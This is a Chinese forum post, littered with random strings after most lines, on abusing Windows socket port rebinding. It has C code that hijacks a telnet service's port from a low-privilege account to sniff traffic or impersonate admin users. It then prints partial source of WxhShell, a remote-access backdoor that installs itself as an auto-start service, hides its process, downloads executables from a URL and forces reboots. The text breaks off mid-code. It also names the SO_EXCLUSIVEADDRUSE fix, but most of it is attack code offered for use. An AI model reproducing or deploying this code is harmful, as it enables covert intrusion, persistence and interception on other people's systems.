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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J'*`K>wV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RC^k#+  
yK w.69.  
  saddr.sin_family = AF_INET; vgN%vw pL  
]QKKt vN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O[ug7\cl+  
mBDzc(_\$'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s$xm  
&'c&B0j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oA4<AJ2  
1(qL),F;  
  这意味着什么?意味着可以进行如下的攻击: ap[Q'=A`  
<h*$bx]9 +  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~X,ZZ 9H  
Ki\J)l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `FmRoMW9+  
T_oL/x_;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M! uE#|  
lGX8kAv?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K*N8Vpz(  
838@jip  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3PEW0b*]Pf  
"BvDLe':  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  5 c1{[  
8YO` TgW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GhW{6.^  
`FAZAC\  
  #include u=ZZ;%Rvd  
  #include xvW# ~T]  
  #include PF:'dv  
  #include    %Ktlez:S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]?s^{  
  int main() s:^Xtox /  
  { z*`nfTw l  
  WORD wVersionRequested; %] !xr6d  
  DWORD ret; #X*=oG  
  WSADATA wsaData; GoPK. E$  
  BOOL val; 2 5I a  
  SOCKADDR_IN saddr; G,XUMZ  
  SOCKADDR_IN scaddr; %[fZ@!B  
  int err; ?A~a}bFZ  
  SOCKET s; v+ "9&  
  SOCKET sc; +uMK_ds~  
  int caddsize; Q`BB@E  
  HANDLE mt; R?}<Cj I  
  DWORD tid;   yi,Xs|%.  
  wVersionRequested = MAKEWORD( 2, 2 ); L4{+@T1A[  
  err = WSAStartup( wVersionRequested, &wsaData ); 1V ; ,ZGI*  
  if ( err != 0 ) { ]9~6lx3/  
  printf("error!WSAStartup failed!\n"); ^2uT!<2  
  return -1; %RXFgm!{f  
  } 2Y%E.){  
  saddr.sin_family = AF_INET; J pKCux  
   L[lS >4e N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?]0bR]}y  
9Nu:{_YoP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >RXDuCVi  
  saddr.sin_port = htons(23); ^Kn:T`vB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9tIE+RD  
  { ,pa=OF  
  printf("error!socket failed!\n"); #A^(1  
  return -1; J;Eg"8x]  
  } g>-u9%aa  
  val = TRUE; Yn8aTg[J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !6eF8T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KHoDD=O  
  { "@rXN"4  
  printf("error!setsockopt failed!\n"); m =%yZ2F;  
  return -1; k Hh0&~ (  
  } ^Dys#^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6<9gVh<=w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yGlOs]>n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e%KCcU  
Kj* $'('  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5Pd^Sew  
  { #LfoG?k1K  
  ret=GetLastError(); D*!9K8<o  
  printf("error!bind failed!\n"); J;Veza  
  return -1; W4:#=.m  
  } wE#z)2?`\  
  listen(s,2); Ky)*6QOw  
  while(1) ^zR*s |1Q  
  { vS G vv43G  
  caddsize = sizeof(scaddr); S0tPnwco[~  
  //接受连接请求  B q7Qbj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *w6(nG'M{  
  if(sc!=INVALID_SOCKET) _[ S<Cb*1  
  { AI2@VvB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2~QN#u|UC3  
  if(mt==NULL) P yN{  
  { zE]h]$oi  
  printf("Thread Creat Failed!\n"); </|m^$v  
  break; b!z kQ?h  
  } >e QFY^d5  
  } O8 5)^  
  CloseHandle(mt); Y$ '6p."=  
  } o7v,:e:  
  closesocket(s); 9oxn-)6JC  
  WSACleanup(); qp2&Z8S\D  
  return 0; Vnnl~|Xx  
  }   i>z {QE  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^MUvd  
  { _r vO#h  
  SOCKET ss = (SOCKET)lpParam; kTm>`.kKJ=  
  SOCKET sc; tQcn%CK  
  unsigned char buf[4096]; >+2gAO!  
  SOCKADDR_IN saddr; ^"EK:|Y4%K  
  long num; yn.f?[G2  
  DWORD val; YUQKy2  
  DWORD ret; wU/BRz8I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =\i{dj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7kh(WtUz  
  saddr.sin_family = AF_INET; 'klYGp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); br4 %(w(d  
  saddr.sin_port = htons(23); |Q*{yvfEo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |]j2T 8_=  
  { CG[04y  
  printf("error!socket failed!\n"); wak'L5GQE  
  return -1; ^THyohK  
  } `*--vSi  
  val = 100; .@3bz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9AHxa  
  { :U/x(  
  ret = GetLastError(); i E)Fo.H  
  return -1; Q a3+9  
  } 2G)q?_Q4S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &HJ'//bv  
  { %q_b\K  
  ret = GetLastError(); qp55U*  
  return -1; 6Wc'5t3  
  } }TwSSF|}3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OjfumZL#  
  { 03a<Cd/S  
  printf("error!socket connect failed!\n"); z*G(AcS)  
  closesocket(sc); v_NL2eQ~  
  closesocket(ss); #lO~n.+P  
  return -1; z;6,,  
  } ~?uch8H  
  while(1) qt4^e7o  
  { 0'~Iv\s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !r`/vQ #  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  R]"3^k*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vJ0Zv> n-  
  num = recv(ss,buf,4096,0); PR~9*#"v..  
  if(num>0) T/ TMi&:?.  
  send(sc,buf,num,0); _A,mY6 *  
  else if(num==0) {qL}:ha?  
  break; b0 y*}  
  num = recv(sc,buf,4096,0); Gc{s?rB_  
  if(num>0) !Yu|au  
  send(ss,buf,num,0); !MQVtn^C#  
  else if(num==0) F]6$4o[  
  break; y rmi:=N(  
  } b]@@x;v$@  
  closesocket(ss); ]6z ; M;F`  
  closesocket(sc); ~oE@y6Q  
  return 0 ; ^4[|&E:  
  } v7G&`4~  
l[M?"<Ot;  
Geyj`t  
========================================================== sL\W6ej  
fQ_(2+ FM  
下边附上一个代码,,WXhSHELL dIOi P\^  
n0tVAH'>  
========================================================== d2 (3 ,  
)m.U"giG++  
#include "stdafx.h" x$=""?dd  
pDM95.6   
#include <stdio.h> DE" Y(;S  
#include <string.h> ?`U=Ps  
#include <windows.h> j=n<s</V  
#include <winsock2.h> 9y(491"o  
#include <winsvc.h> 7V-'><)gI  
#include <urlmon.h> !7jVKI80  
dI) 9@UL  
#pragma comment (lib, "Ws2_32.lib") X^9eCj;c  
#pragma comment (lib, "urlmon.lib") &M*f4PeXb  
^Bu55q  
#define MAX_USER   100 // 最大客户端连接数 ysFp`  
#define BUF_SOCK   200 // sock buffer [WW ~SOJe  
#define KEY_BUFF   255 // 输入 buffer (I\qTfN4  
QBL|n+  
#define REBOOT     0   // 重启 iuS*Vw  
#define SHUTDOWN   1   // 关机 )T!3du:M  
l&oc/$&|[  
#define DEF_PORT   5000 // 监听端口 POt 8G  
vbSycZ2M7  
#define REG_LEN     16   // 注册表键长度 o2W^!#]=  
#define SVC_LEN     80   // NT服务名长度 eGj[%pk  
5Za%EaW%G  
// 从dll定义API ?<6yKxn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0t(js_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $&jte_hv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p@iU9K\,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^]ig*oS\`  
"]ZDs^7  
// wxhshell配置信息 :FX|9h  
struct WSCFG { O7lFg;9c`  
  int ws_port;         // 监听端口 a+P Vi  
  char ws_passstr[REG_LEN]; // 口令 K| '`w.  
  int ws_autoins;       // 安装标记, 1=yes 0=no W+u-M>Cj6  
  char ws_regname[REG_LEN]; // 注册表键名 Y[Eq;a132  
  char ws_svcname[REG_LEN]; // 服务名 IHcR/\mz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uc d~-D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qkb=KS%z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0UOjk.~b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oJe`]_XZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _q=ua;I&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p}K.-S`MQ  
%hCd*[Z}j  
}; $c}-/U 8  
#8@o%%F d  
// default Wxhshell configuration .T\_4C  
struct WSCFG wscfg={DEF_PORT, @23~)uiZa  
    "xuhuanlingzhe", R/Z zmb{  
    1, d34BJ<  
    "Wxhshell", HMqR%A  
    "Wxhshell", ^wxpinJ>  
            "WxhShell Service", V?&P).5)  
    "Wrsky Windows CmdShell Service", g[$4a4X  
    "Please Input Your Password: ", ]'5 G/H5?;  
  1, "r[Ob]/  
  "http://www.wrsky.com/wxhshell.exe", (0u(<qA\  
  "Wxhshell.exe" 66-G)+4  
    }; R(p3* t&n  
W(\ ^6S)  
// 消息定义模块 O#?@' 1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IA680^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VCQo3k5 {  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AH?4F"  
char *msg_ws_ext="\n\rExit."; +l<l3uBNS  
char *msg_ws_end="\n\rQuit."; BV=~ !tsl  
char *msg_ws_boot="\n\rReboot..."; 2(H-q(  
char *msg_ws_poff="\n\rShutdown..."; d;.H 9Ne  
char *msg_ws_down="\n\rSave to "; 52t6_!y+V  
*cAI gO7  
char *msg_ws_err="\n\rErr!"; RZP7h>y6@  
char *msg_ws_ok="\n\rOK!"; Kjt\A]R%  
+0g L!r  
char ExeFile[MAX_PATH]; tR(nD UHV5  
int nUser = 0; ~Xz?H=}U+  
HANDLE handles[MAX_USER]; 9nS fFGu  
int OsIsNt; bk:mk[  
qylI/,y{  
SERVICE_STATUS       serviceStatus; -;*lcY*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v"-K-AQjB  
<h%I-e6  
// 函数声明 0t7vg#v|  
int Install(void); Z7p!YTA  
int Uninstall(void); 8\Bb7*  
int DownloadFile(char *sURL, SOCKET wsh); K/M2L&C  
int Boot(int flag); q![`3m-d.  
void HideProc(void); ' r/xBj[Z  
int GetOsVer(void); .?kq\.rQ  
int Wxhshell(SOCKET wsl); OJ r~iUr  
void TalkWithClient(void *cs); Go(Td++HS  
int CmdShell(SOCKET sock); ]i\;#pj}  
int StartFromService(void); n&3}F?   
int StartWxhshell(LPSTR lpCmdLine); GQ2/3kt  
ym_p49  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tmi)LRF H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u(i=-PN_<  
i!EAs`$o`  
// 数据结构和表定义 {r'+icvLX  
SERVICE_TABLE_ENTRY DispatchTable[] = 5i+cjT2  
{ -tfUkGdx;l  
{wscfg.ws_svcname, NTServiceMain}, b_^y Ke^W  
{NULL, NULL} ?NR&3 q  
}; $4q$!jB5  
Up5|tx7  
// 自我安装 E8BIb 'b;  
int Install(void) &O#,"u/q`  
{ |#yH,f  
  char svExeFile[MAX_PATH]; .F G%QFF~  
  HKEY key; us+z8Mz  
  strcpy(svExeFile,ExeFile); H*Tzw,f~ v  
nF$HWp&gt  
// 如果是win9x系统,修改注册表设为自启动 :0Z\-7iK  
if(!OsIsNt) { 6ZfL-E{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kr;;aT0P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  hLj7i?  
  RegCloseKey(key); +QNsI2t;r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V!/9GeIF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); */2nh%>$  
  RegCloseKey(key); ~G 3txd  
  return 0; 9BAvE\o0  
    } 8N \<o7t%  
  } i` Q&5KL  
} ;8a9S0eS  
else { T^vhhfCUr  
;GIA`=a %  
// 如果是NT以上系统,安装为系统服务 w[C*w\A\M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E+lr{~  
if (schSCManager!=0) Jv}&8D  
{ 51Vqbtj^  
  SC_HANDLE schService = CreateService dz!m8D0  
  ( zl( o/n  
  schSCManager, 5XV|*O;  
  wscfg.ws_svcname, p6!5}dD(  
  wscfg.ws_svcdisp, t&Q(8Hz  
  SERVICE_ALL_ACCESS, No`*->R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hZlHY9[t?  
  SERVICE_AUTO_START, B<i(Y1n[  
  SERVICE_ERROR_NORMAL, zK&1ti@wln  
  svExeFile, FzNj':D  
  NULL, d0-4KN2  
  NULL, *2pf> UzL  
  NULL, 4:-x!lt  
  NULL, 7ug"SV6Hb  
  NULL |<'6rJ[i>  
  ); ] E:NmBN<  
  if (schService!=0) @dx 8{oQ  
  { U$Z<lx2P  
  CloseServiceHandle(schService); 7Mk>`4D'c  
  CloseServiceHandle(schSCManager); #ID fJ2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ) J.xQ}g  
  strcat(svExeFile,wscfg.ws_svcname); "=1gA~T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VXW*LEk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `!$6F:d_l  
  RegCloseKey(key); <p}7T]a7  
  return 0; Q-rG~O9-  
    } g9fYt&  
  } U8J9 #+:  
  CloseServiceHandle(schSCManager); lrj&60R`w  
} bv VkN  
} b $yIM  
-DK6(<:0  
return 1; %P D}VF/Y  
} uVKe?~RC  
`S0`3q}L3%  
// 自我卸载 KJ:z\N8eo  
int Uninstall(void) yjsj+K pL  
{ un4fnoc  
  HKEY key; FSm.o?>  
'&e8;X  
if(!OsIsNt) { FvY=!U06  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k1oJ<$ Q  
  RegDeleteValue(key,wscfg.ws_regname); DP0@x+`k  
  RegCloseKey(key); _GFh+eS}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~M8|r!_  
  RegDeleteValue(key,wscfg.ws_regname); Cf9{lhE8  
  RegCloseKey(key); 6 &0r/r  
  return 0; E*`PD<:)H  
  } 0G6aF"  
} q ajZ~oB{  
} Wy}^5]R0E  
else { 3E^qh03(  
n}_}#(a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2Z%n "z68  
if (schSCManager!=0) -gm5E qi  
{ qdn_ ZE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xT]t3'y|-  
  if (schService!=0) yo/;@}g}  
  { /]^Y\U^  
  if(DeleteService(schService)!=0) { ^C1LQ Z  
  CloseServiceHandle(schService); KE ?NQMU  
  CloseServiceHandle(schSCManager); G%FZTA6a  
  return 0; jU~ x^Y  
  } `g3AM%3  
  CloseServiceHandle(schService); #-@Uq6Y  
  } DH%PkGn  
  CloseServiceHandle(schSCManager); \8=)X})  
} 9 :Oz-b  
} 5a'`%b{{  
NLK1IH#  
return 1; 3qn_9f]  
} B}[f]8jrM  
0&j90J$`  
// 从指定url下载文件 0FtwDM))  
int DownloadFile(char *sURL, SOCKET wsh) zWhj >Za  
{ (Hj[9[=  
  HRESULT hr; ;Mo_B9  
char seps[]= "/"; p]EugLEmG  
char *token; ]"b:IWPeI  
char *file; ?tL'  X  
char myURL[MAX_PATH]; !p).3Kx0  
char myFILE[MAX_PATH]; g(9*!g  
Y|><Ls6Q  
strcpy(myURL,sURL); :CW^$Zvq  
  token=strtok(myURL,seps); vQyY %  
  while(token!=NULL) ^!\AT!OT  
  { JPAjOcmU/  
    file=token; g i6s+2  
  token=strtok(NULL,seps); L7;~4_M9.V  
  } oe]* Q  
:`zO%h  
GetCurrentDirectory(MAX_PATH,myFILE); KD ,3U/ 3  
strcat(myFILE, "\\"); # :k=  
strcat(myFILE, file); _%=CW' B  
  send(wsh,myFILE,strlen(myFILE),0); 3a.!9R>  
send(wsh,"...",3,0); \? )S {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); erW2>^My  
  if(hr==S_OK) V~[b`&F  
return 0; Gmi? xGn  
else J)Y`G4l2@  
return 1; u+r!;-0i  
mf$YsvPq*+  
} YB7n}r23  
%L*EB;nK  
// 系统电源模块 RW+u5Y  
int Boot(int flag) I51]+gEN  
{ $uDgBZA\  
  HANDLE hToken; Qgj# k  
  TOKEN_PRIVILEGES tkp; OU/}cu  
Lm~<BBp.  
  if(OsIsNt) { ;7qIm83  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 38p"lT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G9^`cTvv'8  
    tkp.PrivilegeCount = 1; Z! O4hA4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~q}L13^k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (g@\QdH`|  
if(flag==REBOOT) { mdEJ'];AH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0|Fx Sc  
  return 0; 'Og@<~/Xy  
} ?&#LmeZ}K  
else { Bh2l3J4X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hvm}@3F|  
  return 0; h;jO7+W  
} 3 R+e  
  } > v%.q]E6n  
  else { b(GV4%  
if(flag==REBOOT) { dT*Yv`h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H5x7)1Ir|  
  return 0; Kh\ 7%>K#  
} UgGa]b[9A  
else { L? DlR hu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9=ygkPY  
  return 0; $ ubU"  
} IU"  
} MGm*({%  
)1 T2u  
return 1; ]}! @'+=  
} iVn4eLK^v  
o13jd NQ-  
// win9x进程隐藏模块 ")No t$8  
void HideProc(void) |T""v_q  
{ 'JMW.;Lh?X  
yO1 7C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g,._3.D  
  if ( hKernel != NULL ) YUEyGhkMV{  
  { ESRj<p%W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &~P4yI;,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1OM Xg=Y  
    FreeLibrary(hKernel); Gy/w #4xj  
  } "a)6g0gw  
" _2 k 3  
return; y<Q"]H.CkQ  
} uVn"L:_  
ce\d35x!  
// 获取操作系统版本 RH;ulAD6(~  
int GetOsVer(void) \s&Mz;:  
{ -p_5T*R  
  OSVERSIONINFO winfo; A+RW=|:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UmWXv#q\l  
  GetVersionEx(&winfo); h5'hP>b#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^1.*NG8  
  return 1; m}wn+R  
  else T06(Q[)  
  return 0; Q 84t=  
} (p%|F`  
pz /[ ${X  
// 客户端句柄模块 7?=^0?a  
int Wxhshell(SOCKET wsl) 2/*u$~  
{ ":udoVS!  
  SOCKET wsh; `xBoNQai  
  struct sockaddr_in client; p3U)J&]c6  
  DWORD myID; Rsfb?${0G  
M9W zsWM  
  while(nUser<MAX_USER) 8<C*D".T$  
{ VhkM{O  
  int nSize=sizeof(client); MT&aH~YB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |X8?B =  
  if(wsh==INVALID_SOCKET) return 1; k)n b<JW|r  
6#+&/ "*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9Y,JYc#  
if(handles[nUser]==0) ~JXz  
  closesocket(wsh); 2xLtJR4L  
else 1X2j%q I&  
  nUser++; U9:)qvMXe  
  } t`H1]`c?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D!o[Sm}JO[  
~9+01UU^  
  return 0; d^}p#7mB\  
} H]/ ~ #a  
031"D*W'i  
// 关闭 socket {Ge{@1  
void CloseIt(SOCKET wsh) >)ekb7  
{ M 5sk&>  
closesocket(wsh); h~k<"  
nUser--; fmz"Zg 9=  
ExitThread(0); 3@V?L:J  
} A7X a  
$yASWz  
// 客户端请求句柄 f=l/Fp}4UH  
void TalkWithClient(void *cs) Da(k>vR@4  
{ TRm#H $  
ZW [&7[4  
  SOCKET wsh=(SOCKET)cs; &THtQ1D  
  char pwd[SVC_LEN]; +06{5-,  
  char cmd[KEY_BUFF]; <YU?1y?V  
char chr[1]; ^L2d%d\5  
int i,j; Hx gC*-A$/  
s6|'s<x"j  
  while (nUser < MAX_USER) {  :RnUNz  
{6ZSf[Y6B  
if(wscfg.ws_passstr) { fY00  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Km(i}:6"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d{7ZO#E  
  //ZeroMemory(pwd,KEY_BUFF); {cs>Sy 4  
      i=0; M~2Us{ `  
  while(i<SVC_LEN) { kg^0%-F  
Nnh\FaI  
  // 设置超时 0zH-g  
  fd_set FdRead; R2Tt6  
  struct timeval TimeOut; ^!\1q<@n  
  FD_ZERO(&FdRead); #"UO`2~`l  
  FD_SET(wsh,&FdRead); wG,"X'1  
  TimeOut.tv_sec=8; MR1I"gqE}I  
  TimeOut.tv_usec=0; x2B8G;6u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `}?;Ow&2CY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,m#  
ni?k' \\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lm4`O %  
  pwd=chr[0]; J>A9]%M  
  if(chr[0]==0xd || chr[0]==0xa) { 01?+j%k=m/  
  pwd=0; D0\>E}Y E  
  break; <,)R`90_X6  
  } bh.&vp.kP  
  i++; K+}0:W=P  
    } V~dhTdQ5}  
[q?RJmB]  
  // 如果是非法用户,关闭 socket c*ueI5i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * 1;4&/93o  
} +F)-n2Bi  
./F:]/Mt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =5\*Zh1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %'iJVFF  
1#=9DD$4  
while(1) { h <4`|Bg+  
/i,n75/y?  
  ZeroMemory(cmd,KEY_BUFF); Lu}jk W*  
"QnYT3[l"  
      // 自动支持客户端 telnet标准   c~vhkRA  
  j=0; %hSQ\T<8[o  
  while(j<KEY_BUFF) { j,j|'7J%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "TA0--6  
  cmd[j]=chr[0]; LaQ7A,]  
  if(chr[0]==0xa || chr[0]==0xd) { h+W$\T)  
  cmd[j]=0; t<UJR*R=L  
  break; V?M (exN  
  } uY.Ns ?8  
  j++; A08kwYxiW  
    } G(7%*@SX  
i O$87!  
  // 下载文件 ~M}{rl.n=  
  if(strstr(cmd,"http://")) { }b\hRy~=r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }nlS&gew^  
  if(DownloadFile(cmd,wsh)) =Dq&lm,n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _qa]T'8  
  else lKsn6c,]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =@!t/LR7kg  
  } 5_;-Qw  
  else { kO\ O$J^S  
LI%dJ*-V  
    switch(cmd[0]) { t5+p]7  
  9rMO=  
  // 帮助 ^VXhv9\>B  
  case '?': { +*8su5:[&@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EX8+3>)  
    break; C 7C4 eW8  
  } ooVs8T2  
  // 安装 9ngxkOGx  
  case 'i': { yJI~{VmU7  
    if(Install()) 3=d%WPgQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !mxH/{+|n  
    else F@?-^ E@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rge>20uTl$  
    break; wOf8\s1  
    }  tKV,  
  // 卸载 "J"=<_?  
  case 'r': { R,BJr y  
    if(Uninstall()) Z[nHo'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p}QDX*/sSu  
    else  WwB_L.{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [OCjYC`  
    break; AIg4u(j  
    } %D4)Bqr  
  // 显示 wxhshell 所在路径 dL$ iTSfz"  
  case 'p': { ;z4J)qw  
    char svExeFile[MAX_PATH]; 8'*x88+  
    strcpy(svExeFile,"\n\r"); OInl?_,,T#  
      strcat(svExeFile,ExeFile); (p5q MP]L  
        send(wsh,svExeFile,strlen(svExeFile),0); b&P)J|Fe  
    break; !Aj}sh{  
    } I;w!  
  // 重启 V[(fE=cIN~  
  case 'b': { 'W(u.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xq((]5Py  
    if(Boot(REBOOT)) GURiW42  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]-n%J $q  
    else { M G$+Blw>  
    closesocket(wsh); 8JY0]G6  
    ExitThread(0); )NZH{G  
    } v Z9OJrF  
    break; WK6,K92  
    } -zFJ)!/?  
